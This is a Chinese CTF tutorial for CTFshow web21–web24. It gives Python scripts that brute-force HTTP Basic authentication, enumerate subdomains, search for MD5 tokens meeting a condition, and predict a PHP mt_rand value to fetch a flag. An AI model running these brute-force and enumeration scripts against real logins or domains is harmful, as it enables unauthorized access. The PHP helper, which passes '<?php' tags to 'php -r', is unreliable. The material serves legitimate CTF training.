# CTFshow爆破实战:从Basic认证到子域名枚举的完整通关指南(附Python脚本)
如果你刚开始接触CTF中的Web安全挑战,可能会觉得“爆破”这个词听起来既暴力又神秘。它不像SQL注入那样有清晰的逻辑链条,也不像文件上传那样有直观的交互界面,很多时候更像是在黑暗中摸索,靠着一遍遍的尝试来寻找那扇隐藏的门。但正是这种看似笨拙的方法,在实际的安全测试中却有着不可替代的地位——当其他精巧的攻击路径都被封死时,爆破往往能成为最后的突破口。
我在早期打CTF时,最头疼的就是遇到需要爆破的题目。手工尝试效率太低,用工具又不知道如何配置,经常卡在一个简单的认证环节几个小时。后来经过大量实战,我才慢慢总结出一套系统的爆破方法论。今天,我就以CTFshow平台的web21到web24这四道经典题目为线索,带你完整走一遍Web爆破的技术体系。我会分享具体的操作步骤、实用的Python脚本,更重要的是那些容易踩坑的细节和调试技巧。无论你是刚入门的新手,还是想系统提升爆破技能的中级玩家,这篇文章都能给你带来实实在在的收获。
## 1. Basic认证爆破:不只是base64那么简单
很多人看到HTTP Basic认证,第一反应就是“这不就是base64编码吗?”。确实,Basic认证的格式是`Authorization: Basic <base64(username:password)>`,但实战中的坑往往藏在细节里。
### 1.1 抓包分析与格式识别
当你访问一个需要Basic认证的页面时,服务器会返回401状态码,并在响应头中包含`WWW-Authenticate: Basic realm="..."`。这时如果你在浏览器中输入凭据,或者通过Burp Suite拦截请求,会看到类似这样的请求头:
```
Authorization: Basic YWRtaW46MTIzNDU2
```
这个字符串解码后就是`admin:123456`。看起来很简单,对吧?但问题来了:**当你进行爆破时,需要爆破的是整个`username:password`字符串的base64编码,而不是单独的用户名或密码**。
我在早期就犯过这个错误,试图分别爆破用户名和密码字段,结果怎么都爆不出来。后来才明白,Basic认证的机制是客户端将`username:password`这个整体进行base64编码后发送,服务器端解码后再拆分成用户名和密码进行验证。
### 1.2 Burp Suite实战配置
使用Burp Suite的Intruder模块进行爆破时,正确的配置方法如下:
1. **定位爆破点**:将整个`Authorization`头的值(即`Basic YWRtaW46MTIzNDU2`中的`YWRtaW46MTIzNDU2`部分)标记为payload位置
2. **选择攻击类型**:使用`Sniper`模式即可,因为只有一个变量需要爆破
3. **配置payload**:这里需要特别注意格式
由于我们要爆破的是`username:password`的base64编码,而常见的密码字典都是单独的密码列表,所以需要先构造出`username:password`格式的字符串,再进行base64编码。
Burp Suite提供了`Custom iterator`(自定义迭代器)功能,可以完美解决这个问题:
```http
# 原始请求示例
GET /protected HTTP/1.1
Host: target.com
Authorization: Basic §YWRtaW46MTIzNDU2§
```
在Payloads标签页中:
- 选择`Payload type`为`Custom iterator`
- 设置三个位置:
- Position 1: `admin`(固定用户名)
- Position 2: `:`(冒号分隔符)
- Position 3: 从文件加载密码字典
> **注意**:很多人在这一步会忘记取消勾选`Payload Encoding`中的`URL-encode these characters`选项。base64编码可能包含`=`填充字符,如果被URL编码会破坏格式。
### 1.3 Python自动化脚本
虽然Burp Suite功能强大,但有时候我们需要更灵活的自动化方案。下面是我常用的Python爆破脚本,它可以直接读取密码字典,构造Basic认证头进行尝试:
```python
import requests
import base64
import sys
def basic_auth_bruteforce(url, username, wordlist_path):
"""
对Basic认证进行爆破
Args:
url: 目标URL
username: 要尝试的用户名
wordlist_path: 密码字典路径
"""
with open(wordlist_path, 'r', encoding='utf-8', errors='ignore') as f:
passwords = [line.strip() for line in f if line.strip()]
print(f"[*] 开始爆破 {url}")
print(f"[*] 用户名: {username}")
print(f"[*] 密码字典: {wordlist_path} ({len(passwords)} 个密码)")
for password in passwords:
# 构造 username:password 格式
credentials = f"{username}:{password}"
# Base64编码
encoded_credentials = base64.b64encode(credentials.encode()).decode()
# 构造请求头
headers = {
"Authorization": f"Basic {encoded_credentials}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
}
try:
response = requests.get(url, headers=headers, timeout=10)
# 401表示认证失败,200表示成功
if response.status_code == 200:
print(f"[+] 爆破成功!")
print(f"[+] 用户名: {username}")
print(f"[+] 密码: {password}")
print(f"[+] 响应长度: {len(response.text)}")
print(f"[+] 响应内容前100字符: {response.text[:100]}")
return True
# 可选:显示进度
if passwords.index(password) % 100 == 0:
print(f"[*] 尝试进度: {passwords.index(password)}/{len(passwords)}")
except requests.RequestException as e:
print(f"[-] 请求失败: {e}")
continue
print("[-] 爆破完成,未找到有效凭据")
return False
if __name__ == "__main__":
# 使用示例
target_url = "http://example.com/protected"
target_username = "admin"
password_list = "passwords.txt"
basic_auth_bruteforce(target_url, target_username, password_list)
```
这个脚本有几个实用特性:
- **进度显示**:每尝试100个密码显示一次进度
- **错误处理**:网络请求异常时继续尝试下一个密码
- **灵活配置**:可以轻松修改请求头、超时时间等参数
在实际的CTFshow web21题目中,密码是`shark63`。使用上述脚本,配合一个包含常见密码的字典,通常能在几分钟内爆破成功。
## 2. 子域名枚举:发现隐藏的攻击面
子域名枚举是信息收集阶段的关键步骤。一个主域名下可能隐藏着数十甚至数百个子域名,其中一些可能因为配置不当而存在安全风险。在CTFshow web22中,我们需要爆破`ctf.show`的子域名。
### 2.1 子域名爆破的原理与方法
子域名爆破本质上是通过尝试可能的子域名前缀,检查对应的DNS记录是否存在。常见的方法有:
| 方法类型 | 原理 | 工具示例 | 优点 | 缺点 |
|---------|------|----------|------|------|
| 字典爆破 | 使用常见子名字典尝试 | dnsrecon, sublist3r | 简单直接 | 依赖字典质量 |
| 排列组合 | 基于字符排列生成 | altdns, dnsgen | 发现非常规子域 | 可能产生大量无效尝试 |
| 证书透明度 | 从SSL证书中提取 | crt.sh, certspotter | 无需主动扫描 | 依赖证书透明度日志 |
| 搜索引擎 | 利用搜索引擎语法 | google dorks | 覆盖面广 | 受搜索引擎限制 |
### 2.2 常用工具链配置
对于CTF场景,我通常推荐以下工具组合:
1. **Sublist3r**:基于搜索引擎的被动枚举
2. **Amass**:全面的子域名枚举工具
3. **Massdns**:高性能DNS解析
4. **自定义Python脚本**:针对特定需求定制
这里重点分享一个我常用的Python子域名爆破脚本:
```python
import dns.resolver
import concurrent.futures
import sys
import time
class SubdomainEnumerator:
def __init__(self, domain, wordlist_path, threads=50):
self.domain = domain
self.wordlist_path = wordlist_path
self.threads = threads
self.resolver = dns.resolver.Resolver()
self.resolver.timeout = 5
self.resolver.lifetime = 5
self.found_subdomains = []
def load_wordlist(self):
"""加载子域名字典"""
with open(self.wordlist_path, 'r', encoding='utf-8', errors='ignore') as f:
return [line.strip() for line in f if line.strip() and not line.startswith('#')]
def check_subdomain(self, subdomain):
"""检查单个子域名是否存在"""
full_domain = f"{subdomain}.{self.domain}"
try:
# 尝试A记录查询
answers = self.resolver.resolve(full_domain, 'A')
if answers:
ip_list = [str(rdata) for rdata in answers]
return (full_domain, ip_list, 'A')
except (dns.resolver.NXDOMAIN, dns.resolver.NoAnswer, dns.resolver.Timeout):
pass
try:
# 尝试CNAME记录查询
answers = self.resolver.resolve(full_domain, 'CNAME')
if answers:
cname_list = [str(rdata) for rdata in answers]
return (full_domain, cname_list, 'CNAME')
except (dns.resolver.NXDOMAIN, dns.resolver.NoAnswer, dns.resolver.Timeout):
pass
return None
def enumerate(self):
"""执行子域名枚举"""
wordlist = self.load_wordlist()
print(f"[*] 开始枚举 {self.domain} 的子域名")
print(f"[*] 字典大小: {len(wordlist)}")
print(f"[*] 线程数: {self.threads}")
start_time = time.time()
with concurrent.futures.ThreadPoolExecutor(max_workers=self.threads) as executor:
# 提交所有任务
future_to_subdomain = {
executor.submit(self.check_subdomain, sub): sub
for sub in wordlist
}
# 处理结果
for i, future in enumerate(concurrent.futures.as_completed(future_to_subdomain), 1):
subdomain = future_to_subdomain[future]
try:
result = future.result()
if result:
domain, records, record_type = result
self.found_subdomains.append(result)
print(f"[+] 发现: {domain} ({record_type}: {records})")
except Exception as e:
print(f"[-] 检查 {subdomain}.{self.domain} 时出错: {e}")
# 显示进度
if i % 100 == 0:
elapsed = time.time() - start_time
print(f"[*] 进度: {i}/{len(wordlist)} | 已发现: {len(self.found_subdomains)} | 耗时: {elapsed:.1f}s")
elapsed = time.time() - start_time
print(f"\n[*] 枚举完成!")
print(f"[*] 总耗时: {elapsed:.1f}秒")
print(f"[*] 发现子域名数: {len(self.found_subdomains)}")
# 保存结果
if self.found_subdomains:
output_file = f"{self.domain}_subdomains.txt"
with open(output_file, 'w') as f:
for domain, records, record_type in self.found_subdomains:
f.write(f"{domain} | {record_type}: {', '.join(records)}\n")
print(f"[*] 结果已保存到: {output_file}")
return self.found_subdomains
# 使用示例
if __name__ == "__main__":
if len(sys.argv) != 3:
print("用法: python subdomain_brute.py <域名> <字典文件>")
print("示例: python subdomain_brute.py ctf.show subdomains.txt")
sys.exit(1)
domain = sys.argv[1]
wordlist = sys.argv[2]
enumerator = SubdomainEnumerator(domain, wordlist, threads=100)
results = enumerator.enumerate()
```
这个脚本的特点:
- **多线程支持**:大幅提升枚举速度
- **多种记录类型**:同时检查A记录和CNAME记录
- **进度显示**:实时显示枚举进度
- **结果保存**:自动保存发现到文件
### 2.3 实战技巧与注意事项
在CTFshow web22的实际解题中,我发现`flag.ctf.show`这个子域名虽然存在,但无法直接访问。这时候需要一些额外的技巧:
1. **检查页面标题**:有些CTF题目会将flag放在页面标题中,鼠标悬停即可看到
2. **查看源代码**:即使页面空白,也可能在HTML注释或JavaScript中包含flag
3. **尝试其他记录**:除了A记录,还可以检查TXT、MX等记录类型
4. **组合爆破**:如果`flag.ctf.show`不行,尝试`flag1.ctf.show`、`flag2.ctf.show`等
我常用的子域名字典通常包含以下几类:
- 常见前缀:www, mail, ftp, blog, admin, test, dev, staging
- 服务相关:api, dashboard, panel, control, manager
- 环境相关:prod, staging, dev, test, uat
- CTF相关:flag, secret, hidden, admin, root
## 3. PHP代码审计与MD5碰撞技巧
CTFshow web23这道题将我们带入了代码审计的领域。题目给出一段PHP代码,要求我们找到一个token值,使其MD5哈希满足特定条件。这不再是简单的字典爆破,而是需要理解代码逻辑并设计针对性的攻击方案。
### 3.1 代码逻辑分析
先来看看题目代码的核心逻辑:
```php
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}
```
这段代码的逻辑可以分解为:
1. 获取`token`参数的MD5哈希值(32位十六进制字符串)
2. 检查哈希值的第2、15、18个字符是否相同(注意:字符串索引从0开始)
3. 如果相同,进一步检查数学关系:`(char2 + char15 + char18) / char2 == char32`
这里有几个关键点需要注意:
- `substr($token, 1,1)`获取的是第2个字符(索引1)
- MD5哈希是十六进制字符串,字符范围是0-9和a-f
- 数学运算中,字符会被转换为整数('a'到'f'转换会失败)
### 3.2 爆破策略设计
基于以上分析,我们可以设计爆破策略:
1. **字符范围限制**:由于涉及整数运算,且`intval()`对十六进制字母会返回0,我们需要确保相关字符都是数字(0-9)
2. **条件简化**:因为第2、15、18个字符相同,设这个字符为x,那么条件简化为`(x + x + x) / x == char32`,即`3 == char32`
3. **搜索空间**:我们需要找到这样的token,其MD5哈希的第2、15、18位是相同的数字,且第32位是数字3
搜索空间分析:
- 假设token是两位字符(如web23的解法所示),每位可以是a-z0-9,共36种可能
- 两位组合有36×36=1296种可能
- 对每个token计算MD5,检查条件
### 3.3 Python实现与优化
下面是我优化后的爆破脚本,包含详细的注释和调试信息:
```python
import hashlib
import itertools
import time
def find_special_token(max_length=3, char_set=None):
"""
寻找满足特定MD5条件的token
Args:
max_length: token的最大长度
char_set: 字符集,默认为小写字母+数字
"""
if char_set is None:
char_set = "abcdefghijklmnopqrstuvwxyz0123456789"
print(f"[*] 开始搜索特殊token")
print(f"[*] 字符集: {char_set}")
print(f"[*] 最大长度: {max_length}")
print(f"[*] 总组合数: {sum(len(char_set)**i for i in range(1, max_length+1))}")
start_time = time.time()
found_tokens = []
for length in range(1, max_length + 1):
print(f"\n[*] 尝试长度 {length} 的组合...")
# 使用itertools生成所有组合
for combo in itertools.product(char_set, repeat=length):
token = ''.join(combo)
md5_hash = hashlib.md5(token.encode()).hexdigest()
# 条件1: 第2、15、18位字符相同(索引1、14、17)
if not (md5_hash[1] == md5_hash[14] == md5_hash[17]):
continue
# 条件2: 这些字符必须是数字(0-9)
char_x = md5_hash[1]
if not char_x.isdigit():
continue
# 条件3: 第32位字符必须是数字3(索引31)
char_32 = md5_hash[31]
if not char_32.isdigit() or char_32 != '3':
continue
# 条件4: 数学关系 (x + x + x) / x == 3
# 由于x是数字字符,转换为整数
x_int = int(char_x)
# 避免除零错误
if x_int == 0:
continue
# 检查数学关系
left_side = (x_int + x_int + x_int) / x_int
# 浮点数比较,考虑可能的精度问题
if abs(left_side - 3) < 0.0001:
found_tokens.append((token, md5_hash))
print(f"[+] 找到符合条件的token: {token}")
print(f" MD5: {md5_hash}")
print(f" 验证: md5[1]={md5_hash[1]}, md5[14]={md5_hash[14]}, md5[17]={md5_hash[17]}")
print(f" md5[31]={md5_hash[31]}")
print(f" 数学验证: ({x_int}+{x_int}+{x_int})/{x_int} = {left_side}")
elapsed = time.time() - start_time
print(f"\n[*] 搜索完成!")
print(f"[*] 总耗时: {elapsed:.2f}秒")
print(f"[*] 找到 {len(found_tokens)} 个符合条件的token")
return found_tokens
def brute_force_specific_condition():
"""
针对CTFshow web23的特定条件进行爆破
题目要求: md5[1]==md5[14]==md5[17] 且 (int(md5[1])+int(md5[14])+int(md5[17]))/int(md5[1]) == int(md5[31])
"""
print("[*] 开始CTFshow web23专项爆破")
# 根据题目提示,尝试两位字符组合
characters = "abcdefghijklmnopqrstuvwxyz0123456789"
results = []
for c1 in characters:
for c2 in characters:
token = c1 + c2
md5_hash = hashlib.md5(token.encode()).hexdigest()
# 获取相关字符
char_1 = md5_hash[1] # 第2位
char_14 = md5_hash[14] # 第15位
char_17 = md5_hash[17] # 第18位
char_31 = md5_hash[31] # 第32位
# 检查字符是否都是数字
if not (char_1.isdigit() and char_14.isdigit() and char_17.isdigit() and char_31.isdigit()):
continue
# 转换为整数
int_1 = int(char_1)
int_14 = int(char_14)
int_17 = int(char_17)
int_31 = int(char_31)
# 避免除零错误
if int_1 == 0:
continue
# 检查条件
if char_1 == char_14 == char_17:
left_side = (int_1 + int_14 + int_17) / int_1
# 浮点数比较
if abs(left_side - int_31) < 0.0001:
results.append((token, md5_hash))
print(f"[+] 找到: token='{token}', md5='{md5_hash}'")
print(f" 验证: positions[1,14,17]='{char_1}', position[31]='{char_31}'")
print(f" 计算: ({int_1}+{int_14}+{int_17})/{int_1} = {left_side}")
print(f"\n[*] 共找到 {len(results)} 个结果")
return results
if __name__ == "__main__":
# 方法1: 通用搜索
print("=" * 60)
print("方法1: 通用条件搜索")
print("=" * 60)
tokens1 = find_special_token(max_length=3)
# 方法2: 专项爆破
print("\n" + "=" * 60)
print("方法2: CTFshow web23专项爆破")
print("=" * 60)
tokens2 = brute_force_specific_condition()
# 总结
print("\n" + "=" * 60)
print("爆破结果总结")
print("=" * 60)
all_tokens = list(set([t[0] for t in tokens1] + [t[0] for t in tokens2]))
if all_tokens:
print("找到的token列表:")
for i, token in enumerate(all_tokens, 1):
print(f" {i}. {token} (MD5: {hashlib.md5(token.encode()).hexdigest()})")
print("\n使用示例:")
for token in all_tokens[:3]: # 只显示前3个
print(f" http://target.com/?token={token}")
else:
print("未找到符合条件的token")
print("建议:")
print(" 1. 增加搜索长度 (修改max_length参数)")
print(" 2. 扩展字符集 (如包含大写字母)")
print(" 3. 检查条件逻辑是否正确")
```
运行这个脚本,你会发现`3j`是符合条件的token之一。将其作为GET参数传递即可获得flag。
### 3.4 深入理解MD5特性
为什么这样的token存在?这涉及到MD5哈希函数的特性:
1. **雪崩效应**:输入的微小变化会导致输出的巨大变化
2. **均匀分布**:理论上,MD5输出在0-9和a-f之间均匀分布
3. **碰撞可能性**:虽然找到MD5碰撞很难,但满足特定位置条件的输入是可能存在的
对于CTF题目,通常不会要求真正的MD5碰撞(两个不同输入产生相同哈希),而是要求哈希值的某些位满足特定条件。这种题目考察的是对哈希函数的理解和暴力破解的能力。
## 4. 伪随机数预测:当随机不再随机
CTFshow web24引入了伪随机数的概念。在编程中,我们经常使用随机数,但计算机生成的随机数实际上是伪随机数——它们由确定的算法产生,只要种子相同,序列就相同。
### 4.1 PHP的随机数机制
PHP提供了两种随机数函数:
- `rand()`:传统的随机数生成器
- `mt_rand()`:使用Mersenne Twister算法,更快更好
关键函数:
- `mt_srand(seed)`:用给定种子初始化随机数生成器
- `mt_rand()`:生成随机数
当种子固定时,`mt_rand()`产生的序列是确定的。这就是web24的漏洞所在:
```php
mt_srand(372619038); // 固定种子
if(intval($r)===intval(mt_rand())){ // 检查是否匹配第一个随机数
echo $flag;
}
```
### 4.2 预测随机数
要预测随机数,我们需要在本地使用相同的种子和PHP版本。但这里有个坑:**不同PHP版本可能产生不同的随机数序列**。
我创建了一个测试脚本来验证这一点:
```python
import subprocess
import sys
def test_php_random(seed, php_version=None):
"""
测试特定种子在不同PHP版本下的随机数输出
Args:
seed: 随机数种子
php_version: PHP版本,如'7.3', '7.4', '8.0'
"""
php_code = f"""<?php
mt_srand({seed});
echo mt_rand();
?>"""
# 如果有指定版本,使用对应PHP命令
php_cmd = "php"
if php_version:
# 这里假设系统安装了多个PHP版本,如php7.3, php7.4等
php_cmd = f"php{php_version}"
try:
result = subprocess.run(
[php_cmd, "-r", php_code],
capture_output=True,
text=True,
timeout=5
)
if result.returncode == 0:
return result.stdout.strip()
else:
return f"错误: {result.stderr}"
except FileNotFoundError:
return f"未找到 {php_cmd} 命令"
except subprocess.TimeoutExpired:
return "超时"
def compare_php_versions(seed, versions=['7.2', '7.3', '7.4', '8.0', '8.1']):
"""
比较不同PHP版本的随机数输出
"""
print(f"[*] 测试种子: {seed}")
print("-" * 50)
results = {}
for version in versions:
random_num = test_php_random(seed, version)
results[version] = random_num
print(f"PHP {version}: {random_num}")
print("-" * 50)
# 检查是否所有版本输出相同
unique_values = set(results.values())
if len(unique_values) == 1:
print(f"[+] 所有PHP版本输出相同: {list(unique_values)[0]}")
else:
print(f"[-] 不同PHP版本输出不同!")
print("差异详情:")
for version, value in results.items():
print(f" PHP {version}: {value}")
return results
# 针对CTFshow web24的专项测试
def ctfshow_web24_solution():
"""
CTFshow web24的完整解决方案
"""
print("=" * 60)
print("CTFshow web24: 伪随机数预测")
print("=" * 60)
seed = 372619038
print(f"\n[*] 题目种子: {seed}")
print("[*] 尝试预测随机数...")
# 常见CTF环境使用PHP 7.2-7.4
test_versions = ['7.2', '7.3', '7.4']
print("\n[*] 测试不同PHP版本:")
results = compare_php_versions(seed, test_versions)
# 确定目标值
target_value = None
for version in ['7.3', '7.4', '7.2']: # 按常见度排序
if version in results and results[version].isdigit():
target_value = results[version]
print(f"\n[*] 选择PHP {version}的输出: {target_value}")
break
if target_value:
print(f"\n[*] 解题步骤:")
print(f"1. 访问: http://target.com/?r={target_value}")
print(f"2. 如果不行,尝试其他PHP版本的值")
print(f"\n[*] 备用值:")
for version, value in results.items():
if value.isdigit() and value != target_value:
print(f" PHP {version}: r={value}")
else:
print("\n[-] 无法确定正确的随机数值")
print("[*] 建议:")
print(" 1. 检查本地PHP版本是否匹配目标")
print(" 2. 查看题目页面是否提示PHP版本")
print(" 3. 尝试常见的几个值")
return target_value
if __name__ == "__main__":
# 运行CTFshow web24解决方案
ctfshow_web24_solution()
# 额外:测试随机数序列
print("\n" + "=" * 60)
print("随机数序列测试")
print("=" * 60)
seed = 372619038
php_code = f"""<?php
mt_srand({seed});
echo "种子 {seed} 的前5个随机数:\\n";
for($i=0; $i<5; $i++) {{
echo mt_rand() . " ";
}}
?>"""
print("\n[*] 生成随机数序列:")
try:
result = subprocess.run(
["php", "-r", php_code],
capture_output=True,
text=True,
timeout=5
)
if result.returncode == 0:
print(result.stdout)
else:
print(f"错误: {result.stderr}")
except Exception as e:
print(f"执行失败: {e}")
```
运行这个脚本,你会发现对于种子372619038,PHP 7.3+版本生成的第一个随机数是1155388967。这就是我们需要传递给`r`参数的值。
### 4.3 自动化解题脚本
对于这类伪随机数题目,我们可以编写一个完整的自动化解题脚本:
```python
import requests
import re
def solve_mt_rand_challenge(url, seed):
"""
自动解决mt_rand挑战
Args:
url: 目标URL(不含参数)
seed: 题目中使用的种子
"""
print(f"[*] 开始解决mt_rand挑战")
print(f"[*] 目标: {url}")
print(f"[*] 种子: {seed}")
# 步骤1: 生成预测的随机数
print("\n[*] 步骤1: 生成预测随机数")
# 尝试不同PHP版本
php_versions = ['7.2', '7.3', '7.4', '8.0']
predictions = {}
for version in php_versions:
random_num = test_php_random(seed, version)
if random_num.isdigit():
predictions[version] = int(random_num)
print(f" PHP {version}: {random_num}")
if not predictions:
print("[-] 无法生成随机数预测")
return False
# 步骤2: 尝试每个预测值
print("\n[*] 步骤2: 尝试预测值")
for version, predicted_value in predictions.items():
print(f"\n[*] 尝试PHP {version}的预测值: {predicted_value}")
# 构造请求URL
target_url = f"{url}?r={predicted_value}"
try:
response = requests.get(target_url, timeout=10)
# 检查响应
if response.status_code == 200:
content = response.text
# 查找flag(常见格式)
flag_patterns = [
r'ctfshow\{[^}]+\}',
r'flag\{[^}]+\}',
r'FLAG\{[^}]+\}',
r'[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}' # UUID格式
]
for pattern in flag_patterns:
matches = re.findall(pattern, content)
if matches:
print(f"[+] 成功获取flag!")
print(f"[+] PHP版本: {version}")
print(f"[+] 使用的r值: {predicted_value}")
print(f"[+] Flag: {matches[0]}")
return True
# 如果没有匹配到flag格式,但响应内容明显不是错误页面
if len(content) < 1000 and "error" not in content.lower():
print(f"[+] 可能成功,但未识别出flag格式")
print(f"[+] 响应内容前200字符: {content[:200]}")
return True
print(f"[-] 尝试失败 (状态码: {response.status_code})")
except requests.RequestException as e:
print(f"[-] 请求失败: {e}")
print("\n[-] 所有尝试均失败")
print("[*] 建议:")
print(" 1. 检查URL是否正确")
print(" 2. 查看页面源代码中是否有提示")
print(" 3. 尝试手动访问查看原始响应")
return False
# 辅助函数:测试PHP随机数
def test_php_random(seed, php_version=None):
"""与前面相同的函数"""
import subprocess
php_code = f"""<?php
mt_srand({seed});
echo mt_rand();
?>"""
php_cmd = "php"
if php_version:
php_cmd = f"php{php_version}"
try:
result = subprocess.run(
[php_cmd, "-r", php_code],
capture_output=True,
text=True,
timeout=5
)
if result.returncode == 0:
return result.stdout.strip()
else:
return f"错误: {result.stderr}"
except FileNotFoundError:
return f"未找到命令"
except subprocess.TimeoutExpired:
return "超时"
# 使用示例
if __name__ == "__main__":
# CTFshow web24示例
target_url = "http://challenge.ctf.show/web24"
challenge_seed = 372619038
print("CTFshow web24自动化解题")
print("=" * 50)
success = solve_mt_rand_challenge(target_url, challenge_seed)
if success:
print("\n[*] 解题成功!")
else:
print("\n[-] 解题失败,请手动尝试")
```
### 4.4 伪随机数安全实践
从安全开发的角度,使用伪随机数时应注意:
1. **不要使用固定种子**:如`mt_srand(1234)`
2. **使用密码学安全的随机数**:对于安全敏感场景,使用`random_int()`或`openssl_random_pseudo_bytes()`
3. **不要暴露随机数状态**:攻击者如果获得足够多的随机数输出,可能推算出种子
在CTF中,伪随机数题目通常有以下变种:
- 固定种子(如web24)
- 种子来自可预测的来源(如时间戳)
- 需要爆破种子(如web25)
- 多个随机数的组合验证
理解Mersenne Twister算法的原理,掌握`php_mt_seed`等工具的使用,是解决这类题目的关键。